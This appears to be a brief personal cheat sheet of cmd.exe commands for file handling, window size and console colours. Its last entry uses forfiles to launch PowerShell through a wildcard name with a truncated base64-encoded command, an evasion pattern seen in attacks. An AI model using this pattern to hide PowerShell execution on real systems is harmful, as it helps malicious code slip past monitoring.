Some cmd.exe commandsΒΆ

Here is a set of commands which are not very easy to remember but can be useful.

Create a file with input from the console:

copy con new_file.txt

# Read it
type new_file.txt
# Remove it
del new_file.txt

Resize the window (from

mode con:cols=140 lines=70

Change colors:

# Write white on blue background
color 1f

# Write dark or light green on black
color 2
color a

Run PowerShell using forfiles (cf.

# /p to specify the path where to start searching,
# /s to recurse into subdirectories,
# /m to specify the search mask,
# /c to run a command, with @file being the name of the file and @path the full path
forfiles /s /p C:\WINDOWS\System32 /m p*ll.*e /c "cmd /c @file -ec aQBlAHgAIAAoAGcAcAAgACcA..."